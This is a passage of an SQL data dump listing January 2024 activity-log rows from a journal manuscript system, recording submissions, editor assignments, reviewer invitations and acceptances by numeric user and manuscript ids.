Publisher',14448,'Publisher',84),(132089,'2024-01-09 15:39:20','Manuscript Submitted by Publisher',14449,'Publisher',84),(132090,'2024-01-09 15:44:50','Manuscript Submitted by Publisher',14450,'Publisher',84),(132091,'2024-01-09 15:53:00','Manuscript Submitted by Publisher',14451,'Publisher',84),(132092,'2024-01-09 15:57:43','Manuscript Submitted by Publisher',14452,'Publisher',84),(132093,'2024-01-09 16:00:19','Manuscript Submitted by Publisher',14453,'Publisher',84),(132094,'2024-01-09 16:40:27','Manuscript Submitted by Publisher',14454,'Publisher',84),(132095,'2024-01-09 16:43:54','Manuscript Submitted by Publisher',14455,'Publisher',84),(132096,'2024-01-09 16:46:09','Manuscript Submitted by Publisher',14456,'Publisher',673),(132097,'2024-01-09 16:48:01','Manuscript Submitted by Publisher',14457,'Publisher',84),(132098,'2024-01-09 16:52:03','Manuscript Submitted by Publisher',14458,'Publisher',673),(132099,'2024-01-09 16:53:52','Manuscript Submitted by Publisher',14459,'Publisher',673),(132100,'2024-01-09 16:55:18','Manuscript Submitted by Publisher',14460,'Publisher',673),(132101,'2024-01-09 16:58:15','Manuscript Submitted by Publisher',14461,'Publisher',673),(132102,'2024-01-09 17:03:37','Manuscript Submitted by Publisher',14462,'Publisher',673),(132103,'2024-01-09 17:09:10','Manuscript Submitted by Publisher',14463,'Publisher',673),(132104,'2024-01-10 09:45:30','Publisher has been Assigned Editor',14457,'Publisher',84),(132105,'2024-01-10 09:47:38','Publisher has been Assigned Editor',14455,'Publisher',84),(132106,'2024-01-10 09:55:23','Publisher has been Assigned Editor',14454,'Publisher',84),(132107,'2024-01-10 09:56:13','Publisher has been Assigned Editor',14453,'Publisher',84),(132108,'2024-01-10 09:59:19','Publisher has been Assigned Editor',14452,'Publisher',84),(132109,'2024-01-10 11:27:40','Publisher has been Assigned Editor',14451,'Publisher',84),(132110,'2024-01-10 11:28:27','Publisher has been Assigned Editor',14450,'Publisher',84),(132111,'2024-01-10 11:29:13','Publisher has been Assigned Editor',14449,'Publisher',84),(132112,'2024-01-10 11:31:01','Publisher has been Assigned Editor',14447,'Publisher',84),(132113,'2024-01-10 11:32:29','Publisher has been Assigned Editor',14446,'Publisher',84),(132114,'2024-01-10 11:32:56','Publisher has been Assigned Editor',14445,'Publisher',84),(132115,'2024-01-10 11:48:50','Publisher has been Accepted Articles  article',14221,'Publisher',994),(132116,'2024-01-10 11:48:56','Publisher has been Accepted Articles  article',14221,'Publisher',994),(132117,'2024-01-10 11:49:01','Publisher has been Accepted Articles  article',14221,'Publisher',994),(132118,'2024-01-10 11:49:03','Publisher has been Accepted Articles  article',14221,'Publisher',994),(132119,'2024-01-10 11:49:05','Publisher has been Accepted Articles  article',14221,'Publisher',994),(132120,'2024-01-10 11:49:08','Publisher has been Accepted Articles  article',14221,'Publisher',994),(132121,'2024-01-10 11:49:10','Publisher has been Accepted Articles  article',14221,'Publisher',994),(132122,'2024-01-10 11:49:12','Publisher has been Accepted Articles  article',14221,'Publisher',994),(132123,'2024-01-10 11:49:14','Publisher has been Accepted Articles  article',14221,'Publisher',994),(132124,'2024-01-10 11:49:17','Publisher has been Accepted Articles  article',14221,'Publisher',994),(132125,'2024-01-10 12:44:23','Publisher has been Assigned Editor',14463,'Publisher',673),(132126,'2024-01-10 12:44:44','Publisher has been Assigned Editor',14462,'Publisher',673),(132127,'2024-01-10 12:44:59','Publisher has been Assigned Editor',14461,'Publisher',673),(132128,'2024-01-10 12:45:28','Publisher has been Assigned Editor',14460,'Publisher',673),(132129,'2024-01-10 12:45:43','Publisher has been Assigned Editor',14459,'Publisher',673),(132130,'2024-01-10 12:45:58','Publisher has been Assigned Editor',14458,'Publisher',673),(132131,'2024-01-10 12:46:14','Publisher has been Assigned Editor',14456,'Publisher',673),(132132,'2024-01-10 15:28:02','Manuscript Submitted by Publisher',14465,'Publisher',994),(132133,'2024-01-10 15:34:00','Manuscript Submitted by Publisher',14466,'Publisher',994),(132134,'2024-01-10 15:38:00','Manuscript Submitted by Publisher',14467,'Publisher',994),(132135,'2024-01-10 15:45:31','Manuscript Submitted by Publisher',14468,'Publisher',994),(132136,'2024-01-10 15:50:18','Manuscript Submitted by Publisher',14469,'Publisher',988),(132137,'2024-01-10 15:55:32','Manuscript Submitted by Publisher',14470,'Publisher',988),(132138,'2024-01-10 15:56:23','Manuscript Submitted by Publisher',14471,'Publisher',994),(132139,'2024-01-10 15:58:08','Manuscript Submitted by Publisher',14472,'Publisher',988),(132140,'2024-01-10 16:33:48','Manuscript Submitted by Publisher',14473,'Publisher',994),(132141,'2024-01-10 16:37:02','Manuscript Submitted by Publisher',14474,'Publisher',994),(132142,'2024-01-10 16:39:39','Manuscript Submitted by Publisher',14475,'Publisher',988),(132143,'2024-01-10 16:40:42','Manuscript Submitted by Publisher',14476,'Publisher',988),(132144,'2024-01-10 16:40:53','Manuscript Submitted by Publisher',14477,'Publisher',994),(132145,'2024-01-10 16:45:35','Manuscript Submitted by Publisher',14478,'Publisher',994),(132146,'2024-01-10 16:47:17','Manuscript Submitted by Publisher',14479,'Publisher',988),(132147,'2024-01-10 16:48:53','Manuscript Submitted by Publisher',14480,'Publisher',988),(132148,'2024-01-10 16:49:32','Publisher has been Assigned Editor',14444,'Publisher',248),(132149,'2024-01-10 16:49:45','Publisher has been Assigned Editor',14443,'Publisher',248),(132150,'2024-01-10 16:50:24','Publisher has been Assigned Editor',14442,'Publisher',248),(132151,'2024-01-10 16:55:25','Manuscript Submitted by Publisher',14481,'Publisher',988),(132152,'2024-01-10 16:56:12','Manuscript Submitted by Publisher',14482,'Publisher',988),(132153,'2024-01-10 16:57:08','Manuscript Submitted by Publisher',14483,'Publisher',988),(132154,'2024-01-10 17:55:20','Publisher has been Assigned Editor',14478,'Publisher',994),(132155,'2024-01-10 17:55:55','Publisher has been Assigned Editor',14477,'Publisher',994),(132156,'2024-01-10 17:56:25','Publisher has been Assigned Editor',14474,'Publisher',994),(132157,'2024-01-10 17:56:40','Publisher has been Assigned Editor',14473,'Publisher',994),(132158,'2024-01-10 17:56:55','Publisher has been Assigned Editor',14471,'Publisher',994),(132159,'2024-01-10 17:57:30','Publisher has been Assigned Editor',14468,'Publisher',994),(132160,'2024-01-10 17:58:01','Publisher has been Assigned Editor',14467,'Publisher',994),(132161,'2024-01-10 17:58:16','Publisher has been Assigned Editor',14466,'Publisher',994),(132162,'2024-01-10 17:58:32','Publisher has been Assigned Editor',14465,'Publisher',994),(132163,'2024-01-10 17:59:34','Manuscript Submitted by Author using Submission form',14484,'Author',14531),(132164,'2024-01-11 09:56:44','Publisher has been Assigned Editor',14434,'Publisher',972),(132165,'2024-01-11 10:01:35','Publisher has been Assigned Editor',14433,'Publisher',972),(132166,'2024-01-11 10:03:05','Publisher has been Assigned Editor',14430,'Publisher',972),(132167,'2024-01-11 10:04:02','Publisher has been Assigned Editor',14432,'Publisher',972),(132168,'2024-01-11 10:04:39','Publisher has been Assigned Editor',14427,'Publisher',972),(132169,'2024-01-11 10:05:13','Publisher has been Assigned Editor',14422,'Publisher',972),(132170,'2024-01-11 10:05:53','Publisher has been Assigned Editor',14421,'Publisher',972),(132171,'2024-01-11 10:06:24','Publisher has been Assigned Editor',14420,'Publisher',972),(132172,'2024-01-11 10:07:05','Publisher has been Assigned Editor',14419,'Publisher',972),(132173,'2024-01-11 10:07:52','Publisher has been Assigned Editor',14418,'Publisher',972),(132174,'2024-01-11 10:18:01','Publisher has been Assigned Editor',14464,'Publisher',85),(132175,'2024-01-11 10:51:20','Publisher has been Assigned Editor',14417,'Publisher',84),(132176,'2024-01-11 11:15:32','Manuscript Submitted by Publisher',14485,'Publisher',376),(132177,'2024-01-11 11:19:05','Manuscript Submitted by Publisher',14486,'Publisher',376),(132178,'2024-01-11 11:23:21','Publisher has Invited Reviewer',14464,'Publisher',85),(132179,'2024-01-11 11:23:26','Publisher has Invited Reviewer',14464,'Publisher',85),(132180,'2024-01-11 11:23:31','Publisher has Invited Reviewer',14464,'Publisher',85),(132181,'2024-01-11 11:23:36','Publisher has Invited Reviewer',14464,'Publisher',85),(132182,'2024-01-11 11:23:41','Publisher has Invited Reviewer',14464,'Publisher',85),(132183,'2024-01-11 11:23:53','Manuscript Submitted by Publisher',14487,'Publisher',376),(132184,'2024-01-11 11:25:40','Manuscript Submitted by Publisher',14488,'Publisher',376),(132185,'2024-01-11 11:27:00','Manuscript Submitted by Publisher',14489,'Publisher',376),(132186,'2024-01-11 11:29:35','Manuscript Submitted by Publisher',14490,'Publisher',376),(132187,'2024-01-11 11:38:25','Manuscript Submitted by Publisher',14491,'Publisher',376),(132188,'2024-01-11 11:39:17','Manuscript Submitted by Publisher',14492,'Publisher',376),(132189,'2024-01-11 11:48:05','Manuscript Submitted by Publisher',14493,'Publisher',376),(132190,'2024-01-11 11:51:04','Manuscript Submitted by Publisher',14494,'Publisher',376),(132191,'2024-01-11 15:09:32','Publisher has been Assigned Editor',14400,'',1212),(132192,'2024-01-12 09:59:48','Publisher has Invited Reviewer',14464,'Publisher',85),(132193,'2024-01-12 09:59:53','Publisher has Invited Reviewer',14464,'Publisher',85),(132194,'2024-01-12 09:59:58','Publisher has Invited Reviewer',14464,'Publisher',85),(132195,'2024-01-12 11:37:59','Reviewer has submitted comments',14401,'Reviewer',21392),(132196,'2024-01-12 11:38:35','Editor has Accepted to review Manuscript',14401,'Editor',191),(132197,'2024-01-12 11:38:50','Editor has been Editor Decision Accepted article',14401,'Editor',191),(132198,'2024-01-12 11:39:53','Manuscript Updated',14401,'Publisher',48),(132199,'2024-01-12 11:40:36','Publisher has been Accepted Articles  article',14401,'Publisher',48),(132200,'2024-01-12 11:40:49','Manuscript Updated',14401,'Publisher',48),(132201,'2024-01-12 13:57:01','Publisher has Invited Reviewer',14464,'Publisher',85),(132202,'2024-01-12 14:17:20','Publisher has been Assigned Editor',14407,'Publisher',274),(132203,'2024-01-12 14:17:36','Publisher has been Assigned Editor',14405,'Publisher',274),(132204,'2024-01-12 14:17:50','Publisher has been Assigned Editor',14404,'Publisher',274),(132205,'2024-01-12 14:18:05','Publisher has been Assigned Editor',14403,'Publisher',274),(132206,'2024-01-12 14:25:35','Manuscript Submitted by Publisher',14495,'Publisher',274),(132207,'2024-01-12 14:29:34','Editor has Accepted to review Manuscript',14403,'Editor',1789),(132208,'2024-01-12 14:29:41','Editor has Accepted to review Manuscript',14404,'Editor',1789),(132209,'2024-01-12 14:29:47','Editor has Accepted to review Manuscript',14405,'Editor',1789),(132210,'2024-01-12 14:29:53','Editor has Accepted to review Manuscript',14407,'Editor',1789),(132211,'2024-01-12 14:30:13','Editor has been Editor Decision Accepted article',14407,'Editor',1789),(132212,'2024-01-12 14:30:28','Editor has been Editor Decision Accepted article',14405,'Editor',1789),(132213,'2024-01-12 14:30:35','Editor has been Editor Decision Accepted article',14404,'Editor',1789),(132214,'2024-01-12 14:30:49','Editor has been Editor Decision Accepted article',14403,'Editor',1789),(132215,'2024-01-13 17:02:03','Manuscript Submitted by Author using Submission form',14496,'Author',14542),(132216,'2024-01-14 16:57:44','Manuscript Submitted by Author using Submission form',14497,'Author',14543),(132217,'2024-01-16 20:44:39','Editor has Accepted to review Manuscript',14414,'Editor',1749),(132218,'2024-01-16 20:44:49','Editor has Accepted to review Manuscript',14431,'Editor',1749),(132219,'2024-01-16 20:46:45','Editor has Invited Reviewer',14414,'Editor',1749),(132220,'2024-01-16 20:46:52','Editor has Invited Reviewer',14414,'Editor',1749),(132221,'2024-01-16 20:46:59','Editor has Invited Reviewer',14414,'Editor',1749),(132222,'2024-01-16 20:47:03','Editor has Invited Reviewer',14414,'Editor',1749),(132223,'2024-01-16 20:47:09','Editor has Invited Reviewer',14414,'Editor',1749),(132224,'2024-01-16 20:47:14','Editor has Invited Reviewer',14414,'Editor',1749),(132225,'2024-01-16 20:47:19','Editor has Invited Reviewer',14414,'Editor',1749),(132226,'2024-01-16 20:47:24','Editor has Invited Reviewer',14414,'Editor',1749),(132227,'2024-01-16 20:47:29','Editor has Invited Reviewer',14414,'Editor',1749),(132228,'2024-01-16 20:47:34','Editor has Invited Reviewer',14414,'Editor',1749),(132229,'2024-01-16 20:47:39','Editor has Invited Reviewer',14414,'Editor',1749),(132230,'2024-01-16 20:47:44','Editor has Invited Reviewer',14414,'Editor',1749),(132231,'2024-01-16 20:47:48','Editor has Invited Reviewer',14414,'Editor',1749),(132232,'2024-01-16 20:47:55','Editor has Invited Reviewer',14414,'Editor',1749),(132233,'2024-01-16 20:48:00','Editor has Invited Reviewer',14414,'Editor',1749),(132234,'2024-01-16 20:53:09','Editor has Invited Reviewer',14431,'Editor',1749),(132235,'2024-01-16 20:53:14','Editor has Invited Reviewer',14431,'Editor',1749),(132236,'2024-01-16 20:53:19','Editor has Invited Reviewer',14431,'Editor',1749),(132237,'2024-01-16 20:53:24','Editor has Invited Reviewer',14431,'Editor',1749),(132238,'2024-01-16 20:53:30','Editor has Invited Reviewer',14431,'Editor',1749),(132239,'2024-01-16 20:53:35','Editor has Invited Reviewer',14431,'Editor',1749),(132240,'2024-01-16 20:53:42','Editor has Invited Reviewer',14431,'Editor',1749),(132241,'2024-01-16 20:53:48','Editor has Invited Reviewer',14431,'Editor',1749),(132242,'2024-01-16 21:24:35','Editor has Invited Reviewer',14431,'Editor',1749),(132243,'2024-01-16 21:24:40','Editor has Invited Reviewer',14431,'Editor',1749),(132244,'2024-01-16 21:24:46','Editor has Invited Reviewer',14431,'Editor',1749),(132245,'2024-01-16 21:24:51','Editor has Invited Reviewer',14431,'Editor',1749),(132246,'2024-01-16 21:24:57','Editor has Invited Reviewer',14431,'Editor',1749),(132247,'2024-01-16 21:25:02','Editor has Invited Reviewer',14431,'Editor',1749),(132248,'2024-01-16 21:25:07','Editor has Invited Reviewer',14431,'Editor',1749),(132249,'2024-01-17 09:20:53','Manuscript Submitted by Publisher',14498,'',1050),(132250,'2024-01-17 09:59:25','Publisher has been Assigned Editor',14494,'Publisher',376),(132251,'2024-01-17 09:59:48','Publisher has been Assigned Editor',14493,'Publisher',376),(132252,'2024-01-17 10:00:38','Publisher has been Assigned Editor',14491,'Publisher',376),(132253,'2024-01-17 10:00:57','Publisher has been Assigned Editor',14490,'Publisher',376),(132254,'2024-01-17 10:01:17','Publisher has been Assigned Editor',14489,'Publisher',376),(132255,'2024-01-17 10:01:33','Publisher has been Assigned Editor',14488,'Publisher',376),(132256,'2024-01-17 10:01:53','Publisher has been Assigned Editor',14487,'Publisher',376),(132257,'2024-01-17 10:02:11','Publisher has been Assigned Editor',14484,'Publisher',376),(132258,'2024-01-17 10:02:30','Publisher has been Assigned Editor',14486,'Publisher',376),(132259,'2024-01-17 10:02:49','Publisher has been Assigned Editor',14485,'Publisher',376),(132260,'2024-01-17 11:56:14','Publisher has Invited Reviewer',14464,'Publisher',85),(132261,'2024-01-17 11:56:22','Publisher has Invited Reviewer',14464,'Publisher',85),(132262,'2024-01-17 11:56:32','Publisher has Invited Reviewer',14464,'Publisher',85),(132263,'2024-01-17 11:56:41','Publisher has Invited Reviewer',14464,'Publisher',85),(132264,'2024-01-17 11:56:52','Publisher has Invited Reviewer',14464,'Publisher',85),(132265,'2024-01-17 13:51:04','Publisher has been Assigned Editor',14495,'Publisher',274),(132266,'2024-01-17 13:51:24','Editor has Accepted to review Manuscript',14495,'Editor',1789),(132267,'2024-01-17 13:51:46','Editor has been Editor Decision Accepted article',14495,'Editor',1789),(132268,'2024-01-17 14:46:53','Manuscript Updated',14423,'',1045),(132269,'2024-01-17 14:47:22','Publisher has been Accepted Articles  article',14423,'',1045),(132270,'2024-01-17 14:47:31','Manuscript Updated',14424,'',1045),(132271,'2024-01-17 14:47:49','Publisher has been Accepted Articles  article',14424,'',1045),(132272,'2024-01-17 14:47:59','Manuscript Updated',14425,'',1045),(132273,'2024-01-17 14:48:17','Publisher has been Accepted Articles  article',14425,'',1045),(132274,'2024-01-17 14:48:28','Manuscript Updated',14426,'',1045),(132275,'2024-01-17 14:48:46','Publisher has been Accepted Articles  article',14426,'',1045),(132276,'2024-01-18 09:43:26','Manuscript Submitted by Publisher',14499,'Publisher',645),(132277,'2024-01-18 09:49:52','Manuscript Submitted by Publisher',14500,'Publisher',645),(132278,'2024-01-18 09:53:03','Manuscript Submitted by Publisher',14501,'Publisher',645),(132279,'2024-01-18 09:55:18','Manuscript Submitted by Publisher',14502,'Publisher',645),(132280,'2024-01-18 09:58:25','Manuscript Submitted by Publisher',14503,'Publisher',645),(132281,'2024-01-18 10:01:18','Publisher has been Assigned Editor',14498,'',1050),(132282,'2024-01-18 10:02:06','Manuscript Submitted by Publisher',14504,'Publisher',645),(132283,'2024-01-18 10:04:02','Manuscript Submitted by Publisher',14505,'Publisher',645),(132284,'2024-01-18 10:07:08','Manuscript Submitted by Publisher',14506,'Publisher',645),(132285,'2024-01-18 10:09:23','Manuscript Submitted by Publisher',14507,'Publisher',645),(132286,'2024-01-18 10:11:46','Manuscript Submitted by Publisher',14508,'Publisher',645),(132287,'2024-01-18 10:15:19','Manuscript Submitted by Publisher',14509,'Publisher',645),(132288,'2024-01-18 10:17:56','Manuscript Submitted by Publisher',14510,'Publisher',645),(132289,'2024-01-18 10:20:18','Manuscript Submitted by Publisher',14511,'Publisher',645),(132290,'2024-01-18 10:22:08','Manuscript Submitted by Publisher',14512,'Publisher',645),(132291,'2024-01-18 10:23:49','Publisher has been Accepted Articles  article',14404,'Publisher',274),(132292,'2024-01-18 10:24:14','Publisher has been Accepted Articles  article',14405,'Publisher',274),(132293,'2024-01-18 10:26:42','Publisher has been Accepted Articles  article',14407,'Publisher',274),(132294,'2024-01-18 10:27:17','Publisher has been Withdrawn  article',14103,'Publisher',274),(132295,'2024-01-18 10:27:38','Publisher has been Withdrawn  article',14102,'Publisher',274),(132296,'2024-01-18 10:28:54','Manuscript Updated',14495,'Publisher',274),(132297,'2024-01-18 10:37:05','Reviewer has submitted comments',14464,'Reviewer',16786),(132298,'2024-01-18 10:37:22','Editor has Accepted to review Manuscript',14464,'Editor',1408),(132299,'2024-01-18 10:42:39','Publisher has been Accepted Articles  article',14495,'Publisher',274),(132300,'2024-01-18 11:40:28','Publisher : Notified Editor',14464,'Publisher',85),(132301,'2024-01-18 12:15:32','Publisher has been Accepted Articles  article',14309,'Publisher',85),(132302,'2024-01-18 13:22:56','Publisher has been Withdrawn  article',14095,'Publisher',85),(132303,'2024-01-19 09:55:31','Publisher has been Accepted Articles  article',14403,'Publisher',274),(132304,'2024-01-19 09:55:34','Publisher has been Accepted Articles  article',14403,'Publisher',274),(132305,'2024-01-20 10:44:28','Editor has Accepted to review Manuscript',14386,'Editor',194),(132306,'2024-01-20 10:44:32','Editor has Accepted to review Manuscript',14399,'Editor',194),(132307,'2024-01-20 10:44:43','Editor has been Editor Decision Accepted article',14386,'Editor',194),(132308,'2024-01-20 10:44:51','Editor has been Editor Decision Accepted article',14399,'Editor',194),(132309,'2024-01-20 10:45:31','Publisher has been Accepted Articles  article',14386,'Publisher',48),(132310,'2024-01-21 09:24:42','Manuscript Submitted by Author using Submission form',14513,'Author',14559),(132311,'2024-01-21 09:41:03','Manuscript Submitted by Author',14514,'Author',14560),(132312,'2024-01-21 09:53:26','Manuscript Submitted by Author',14515,'Author',14560),(132313,'2024-01-21 09:58:03','Manuscript Submitted by Author',14516,'Author',14560),(132314,'2024-01-21 10:13:00','Manuscript Submitted by Author',14517,'Author',14560),(132315,'2024-01-21 10:14:16','Manuscript Submitted by Author',14518,'Author',14560),(132316,'2024-01-22 01:27:37','Manuscript Submitted by Author using Submission form',14519,'Author',14562),(132317,'2024-01-22 09:25:21','Manuscript Submitted by Publisher',14520,'',1050),(132318,'2024-01-22 10:20:16','Editor has Accepted to review Manuscript',14270,'Editor',1674),(132319,'2024-01-22 10:20:44','Editor has been Editor Decision Accepted article',14270,'Editor',1674),(132320,'2024-01-22 10:23:02','Editor has been 2 article',14270,'Publisher',248),(132321,'2024-01-22 10:29:26','Editor has Accepted to review Manuscript',14271,'Editor',359),(132322,'2024-01-22 10:29:44','Editor has been Editor Decision Accepted article',14271,'Editor',359),(132323,'2024-01-22 10:31:28','Editor has been 2 article',14271,'Publisher',248),(132324,'2024-01-22 10:37:28','Editor has Accepted to review Manuscript',14272,'Editor',1674),(132325,'2024-01-22 10:37:44','Editor has been Editor Decision Accepted article',14272,'Editor',1674),(132326,'2024-01-22 10:38:43','Editor has been 2 article',14272,'Publisher',248),(132327,'2024-01-22 10:59:19','Editor has Accepted to review Manuscript',14435,'Editor',357),(132328,'2024-01-22 10:59:44','Editor has been Editor Decision Accepted article',14435,'Editor',357),(132329,'2024-01-22 11:04:05','Editor has been 2 article',14435,'Publisher',248),(132330,'2024-01-22 11:11:44','Editor has Accepted to review Manuscript',14436,'Editor',359),(132331,'2024-01-22 11:11:56','Editor has been Editor Decision Accepted article',14436,'Editor',359),(132332,'2024-01-22 11:13:12','Editor has been 2 article',14436,'Publisher',248),(132333,'2024-01-22 11:20:16','Editor has Accepted to review Manuscript',14437,'Publisher',359),(132334,'2024-01-22 11:24:16','Editor has been Editor Decision Accepted article',14437,'Publisher',359),(132335,'2024-01-22 11:25:04','Editor has been 2 article',14437,'Publisher',248),(132336,'2024-01-22 11:30:28','Editor has Accepted to review Manuscript',14438,'Editor',358),(132337,'2024-01-22 11:30:48','Editor has been Editor Decision Accepted article',14438,'Editor',358),(132338,'2024-01-22 11:31:50','Editor has been 2 article',14438,'Publisher',248),(132339,'2024-01-22 11:37:29','Editor has Accepted to review Manuscript',14439,'Editor',1674),(132340,'2024-01-22 11:37:42','Editor has been Editor Decision Accepted article',14439,'Editor',1674),(132341,'2024-01-22 11:39:06','Editor has been 2 article',14439,'Publisher',248),(132342,'2024-01-22 11:46:09','Editor has Accepted to review Manuscript',14442,'Editor',358),(132343,'2024-01-22 11:46:21','Editor has been Editor Decision Accepted article',14442,'Editor',358),(132344,'2024-01-22 11:46:47','Editor has been 2 article',14442,'Editor',248),(132345,'2024-01-22 12:09:17','Editor has Accepted to review Manuscript',14443,'Editor',357),(132346,'2024-01-22 12:09:37','Editor has been Editor Decision Accepted article',14443,'Editor',357),(132347,'2024-01-22 12:11:57','Editor has been 2 article',14443,'Publisher',248),(132348,'2024-01-22 13:44:00','Manuscript Submitted by Author using Submission form',14522,'Author',14563),(132349,'2024-01-22 14:55:35','Publisher has been Accepted Articles  article',14399,'Publisher',48),(132350,'2024-01-22 17:42:16','Manuscript Submitted by Publisher',14523,'Publisher',48),(132351,'2024-01-22 23:06:43','Manuscript Submitted by Author using Submission form',14524,'Author',14565),(132352,'2024-01-23 11:33:38','Manuscript Submitted by Publisher',14525,'Publisher',48),(132353,'2024-01-23 11:37:47','Manuscript Submitted by Publisher',14526,'Publisher',48),(132354,'2024-01-23 11:47:57','Manuscript Submitted by Publisher',14527,'Publisher',48),(132355,'2024-01-24 09:39:55','Manuscript Submitted by Publisher',14529,'',1045),(132356,'2024-01-24 10:31:17','Publisher has Invited Reviewer',14522,'Publisher',85),(132357,'2024-01-24 10:31:22','Publisher has Invited Reviewer',14522,'Publisher',85),(132358,'2024-01-24 10:31:29','Publisher has Invited Reviewer',14522,'Publisher',85),(132359,'2024-01-24 10:31:34','Publisher has Invited Reviewer',14522,'Publisher',85),(132360,'2024-01-24 10:31:40','Publisher has Invited Reviewer',14522,'Publisher',85),(132361,'2024-01-24 12:14:01','Publisher has been Assigned Editor',14527,'Publisher',48),(132362,'2024-01-24 12:14:19','Publisher has been Assigned Editor',14526,'Publisher',48),(132363,'2024-01-24 12:14:35','Publisher has been Assigned Editor',14525,'Publisher',48),(132364,'2024-01-24 12:14:53','Publisher has been Assigned Editor',14523,'Publisher',48),(132365,'2024-01-24 14:03:32','Editor has Accepted to review Manuscript',14523,'Editor',194),(132366,'2024-01-24 14:03:37','Editor has Accepted to review Manuscript',14525,'Editor',194),(132367,'2024-01-24 14:03:47','Editor has Accepted to review Manuscript',14526,'Editor',194),(132368,'2024-01-24 14:03:51','Editor has Accepted to review Manuscript',14527,'Editor',194),(132369,'2024-01-24 14:04:05','Editor has been Editor Decision Accepted article',14523,'Editor',194),(132370,'2024-01-24 14:04:17','Editor has been Editor Decision Accepted article',14525,'Editor',194),(132371,'2024-01-24 14:04:17','Editor has been Editor Decision Accepted article',14525,'Editor',194),(132372,'2024-01-24 14:04:23','Editor has been Editor Decision Accepted article',14527,'Editor',194),(132373,'2024-01-24 14:04:23','Editor has been Editor Decision Accepted article',14527,'Editor',194),(132374,'2024-01-24 14:04:58','Editor has been Editor Decision Accepted article',14526,'Editor',194),(132375,'2024-01-24 14:06:42','Manuscript Updated',14523,'Publisher',48),(132376,'2024-01-24 14:07:11','Publisher has been Accepted Articles  article',14523,'Publisher',48),(132377,'2024-01-24 14:07:37','Manuscript Updated',14525,'Publisher',48),(132378,'2024-01-24 14:08:00','Publisher has been Accepted Articles  article',14525,'Publisher',48),(132379,'2024-01-24 14:34:15','Manuscript Updated',14526,'Publisher',48),(132380,'2024-01-24 14:34:34','Publisher has been Accepted Articles  article',14526,'Publisher',48),(132381,'2024-01-24 14:34:43','Manuscript Updated',14526,'Publisher',48),(132382,'2024-01-24 14:42:16','Editor has Accepted to review Manuscript',14340,'Editor',1456),(132383,'2024-01-24 14:42:40','Editor has been Editor Decision Accepted article',14340,'Editor',1456),(132384,'2024-01-24 14:44:23','Publisher has been Accepted Articles  article',14340,'Publisher',673),(132385,'2024-01-24 17:28:29','Publisher has been Assigned Editor',14512,'Publisher',645),(132386,'2024-01-24 17:29:23','Publisher has been Assigned Editor',14511,'Publisher',645),(132387,'2024-01-24 17:29:37','Manuscript Updated',14527,'Publisher',48),(132388,'2024-01-24 17:29:49','Publisher has been Assigned Editor',14510,'Publisher',645),(132389,'2024-01-24 17:29:53','Publisher has been Accepted Articles  article',14527,'Publisher',48),(132390,'2024-01-24 17:30:15','Publisher has been Assigned Editor',14509,'Publisher',645),(132391,'2024-01-24 17:30:36','Publisher has been Assigned Editor',14508,'Publisher',645),(132392,'2024-01-24 17:31:09','Publisher has been Assigned Editor',14507,'Publisher',645),(132393,'2024-01-24 17:31:38','Publisher has been Assigned Editor',14506,'Publisher',645),(132394,'2024-01-24 17:32:11','Publisher has been Assigned Editor',14505,'Publisher',645),(132395,'2024-01-24 17:32:35','Publisher has been Assigned Editor',14504,'Publisher',645),(132396,'2024-01-24 17:33:18','Publisher has been Assigned Editor',14503,'Publisher',645),(132397,'2024-01-24 17:34:03','Publisher has been Assigned Editor',14502,'Publisher',645),(132398,'2024-01-24 17:36:46','Publisher has been Assigned Editor',14501,'Publisher',645),(132399,'2024-01-24 17:37:15','Publisher has been Assigned Editor',14500,'Publisher',645),(132400,'2024-01-24 17:37:49','Publisher has been Assigned Editor',14499,'Publisher',645),(132401,'2024-01-24 17:59:46','Publisher has been Assigned Editor',14529,'',1045),(132402,'2024-01-25 09:34:31','Publisher has Invited Reviewer',14522,'Publisher',85),(132403,'2024-01-25 09:34:37','Publisher has Invited Reviewer',14522,'Publisher',85),(132404,'2024-01-25 09:34:42','Publisher has Invited Reviewer',14522,'Publisher',85),(132405,'2024-01-25 09:34:47','Publisher has Invited Reviewer',14522,'Publisher',85),(132406,'2024-01-25 09:34:53','Publisher has Invited Reviewer',14522,'Publisher',85),(132407,'2024-01-25 11:57:02','Editor has Accepted to review Manuscript',14427,'Editor',1786),(132408,'2024-01-25 12:19:29','Editor has Accepted to review Manuscript',14430,'Editor',1310),(132409,'2024-01-25 12:22:06','Editor has Accepted to review Manuscript',14432,'Editor',1367),(132410,'2024-01-25 12:24:21','Editor has Accepted to review Manuscript',14418,'Editor',1367),(132411,'2024-01-25 12:26:36','Editor has Accepted to review Manuscript',14419,'Editor',1784),(132412,'2024-01-25 12:28:56','Editor has Accepted to review Manuscript',14420,'Editor',1787),(132413,'2024-01-25 12:32:02','Editor has Accepted to review Manuscript',14421,'Editor',1786),(132414,'2024-01-25 12:34:07','Editor has Accepted to review Manuscript',14422,'Editor',1787),(132415,'2024-01-25 12:36:01','Editor has Accepted to review Manuscript',14433,'Editor',1315),(132416,'2024-01-25 12:46:18','Publisher has Unassign Editor',14427,'Publisher',972),(132417,'2024-01-25 12:47:17','Editor has Accepted to review Manuscript',14427,'Editor',1324),(132418,'2024-01-25 12:47:18','Editor has Accepted to review Manuscript',14427,'Editor',1324),(132419,'2024-01-25 12:47:39','Editor has been Editor Decision Accepted article',14427,'Editor',1324),(132420,'2024-01-25 12:47:42','Editor has been Editor Decision Accepted article',14427,'Editor',1324),(132421,'2024-01-25 12:47:42','Editor has been Editor Decision Accepted article',14427,'Editor',1324),(132422,'2024-01-25 12:55:05','Editor has been Editor Decision Accepted article',14430,'Editor',1310),(132423,'2024-01-25 12:58:44','Editor has been Editor Decision Accepted article',14432,'Editor',1367),(132424,'2024-01-25 12:59:37','Editor has been 2 article',14432,'Editor',972),(132425,'2024-01-25 13:05:41','Editor has been Editor Decision Accepted article',14418,'Editor',1367),(132426,'2024-01-25 13:06:30','Editor has been 2 article',14418,'Editor',972),(132427,'2024-01-25 13:09:50','Editor has been Editor Decision Accepted article',14419,'Editor',1784),(132428,'2024-01-25 13:11:52','Editor has been Editor Decision Accepted article',14420,'Editor',1787),(132429,'2024-01-25 13:15:34','Editor has been Editor Decision Accepted article',14421,'Editor',1786),(132430,'2024-01-25 13:41:09','Editor has Accepted to review Manuscript',14522,'Editor',1408),(132431,'2024-01-25 13:56:50','Editor has been Editor Decision Accepted article',14422,'Editor',1787),(132432,'2024-01-25 14:01:30','Editor has been Editor Decision Accepted article',14433,'Editor',1315),(132433,'2024-01-25 14:12:48','Publisher has been Accepted Articles  article',14427,'Publisher',972),(132434,'2024-01-25 14:14:07','Publisher has been Accepted Articles  